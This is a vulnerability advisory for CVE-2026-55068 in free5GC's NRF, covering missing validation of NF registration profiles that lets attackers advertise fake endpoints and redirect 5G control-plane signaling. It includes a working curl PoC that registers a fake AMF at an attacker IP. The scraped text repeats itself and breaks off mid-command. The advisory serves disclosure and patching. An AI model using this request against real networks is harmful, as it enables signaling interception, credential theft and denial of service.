CVE-2026-55068

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.

Summary

free5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers.

Details

free5GC NRF's RegisterNFInstance handler (PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID}) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated:

Format validation: nfInstanceId accepts non-UUID strings (e.g., "not-a-uuid", "11111111-1111-1111-1111-111111111111"), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement.

Enum validation: nfStatus accepts values outside the {REGISTERED, SUSPENDED, UNDISCOVERABLE} enum (e.g., "INVALID_STATUS").

Range validation: heartBeatTimer accepts values outside the valid range [1, 3600] (e.g., 0, 99999), violating TS 29.510 §5.2.2.2.

Mandatory field enforcement: nfProfile is accepted as null, violating the required field constraint in §5.2.2.2.

Service endpoint integrity: nfServices.ipEndPoints entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., 10.0.0.99) to be registered as legitimate NF service endpoints.

All five failure modes return HTTP 200/201. The profiles are stored in MongoDB's NfProfile collection (which has no JSON schema validator) and appear in NFDiscover results alongside legitimate NF instances.

Attack chain ( OAuth is enabled):

1. A compromised NF with valid OAuth token registers a fake AMF with nfServices.ipEndPoints pointing to 10.0.0.99:7777
2. NRF stores the profile and advertises it via NFDiscover
3. SMF queries NRF for AMF instances and selects the fake one
4. SMF routes N1N2 signaling to 10.0.0.99:7777
5. Attacker intercepts control-plane traffic

Discovery methodology: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories.

Logging: NRF default configuration (LogEnable: false) produces zero runtime log lines — 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging).

PoC

No configuration changes needed. Default free5GC deployment is vulnerable.

# Step 1: Register fake AMF with attacker-controlled IP
curl -X PUT \
  "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \
  -H "Content-Type: application/json" \
  -d '{
    "nfInstanceId": "11111111-1111-1111-1111-111111111111",
    "nfType": "AMF",
    "nfStatus": "REGISTERED",
    "heartBeatTimer": 3600,
    "plmnList": [{"mcc": "001", "mnc": "01"}],
    "sNssais": [{"sst": 1, "sd": "010203"}],
    "nfServices": [{
      "serviceInstanceId": "fake-amf-svc",
      "serviceName": "namf-comm",
      "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}],
      "scheme": "http",
      "nfServiceStatus": "REGISTERED",
      "ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}]
    }]
  }'
# Returns: HTTP 201 (Accepted — profile stored with fake endpoint)

# Step 2: Confirm the profile is stored
curl…

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.

Summary

free5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers.

Details

free5GC NRF's RegisterNFInstance handler (PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID}) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated:

Format validation: nfInstanceId accepts non-UUID strings (e.g., "not-a-uuid", "11111111-1111-1111-1111-111111111111"), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement.

Enum validation: nfStatus accepts values outside the {REGISTERED, SUSPENDED, UNDISCOVERABLE} enum (e.g., "INVALID_STATUS").

Range validation: heartBeatTimer accepts values outside the valid range [1, 3600] (e.g., 0, 99999), violating TS 29.510 §5.2.2.2.

Mandatory field enforcement: nfProfile is accepted as null, violating the required field constraint in §5.2.2.2.

Service endpoint integrity: nfServices.ipEndPoints entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., 10.0.0.99) to be registered as legitimate NF service endpoints.

All five failure modes return HTTP 200/201. The profiles are stored in MongoDB's NfProfile collection (which has no JSON schema validator) and appear in NFDiscover results alongside legitimate NF instances.

Attack chain ( OAuth is enabled):

1. A compromised NF with valid OAuth token registers a fake AMF with nfServices.ipEndPoints pointing to 10.0.0.99:7777
2. NRF stores the profile and advertises it via NFDiscover
3. SMF queries NRF for AMF instances and selects the fake one
4. SMF routes N1N2 signaling to 10.0.0.99:7777
5. Attacker intercepts control-plane traffic

Discovery methodology: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories.

Logging: NRF default configuration (LogEnable: false) produces zero runtime log lines — 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging).

PoC

No configuration changes needed. Default free5GC deployment is vulnerable.

# Step 1: Register fake AMF with attacker-controlled IP
curl -X PUT \
  "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \
  -H "Content-Type: application/json" \
  -d '{
    "nfInstanceId": "11111111-1111-1111-1111-111111111111",
    "nfType": "AMF",
    "nfStatus": "REGISTERED",
    "heartBeatTimer": 3600,
    "plmnList": [{"mcc": "001", "mnc": "01"}],
    "sNssais": [{"sst": 1, "sd": "010203"}],
    "nfServices": [{
      "serviceInstanceId": "fake-amf-svc",
      "serviceName": "namf-comm",
      "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}],
      "scheme": "http",
      "nfServiceStatus": "REGISTERED",
      "ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}]
    }]
  }'
# Returns: HTTP 201 (Accepted — profile stored with fake endpoint)

# Step 2: Confirm the profile is stored
curl…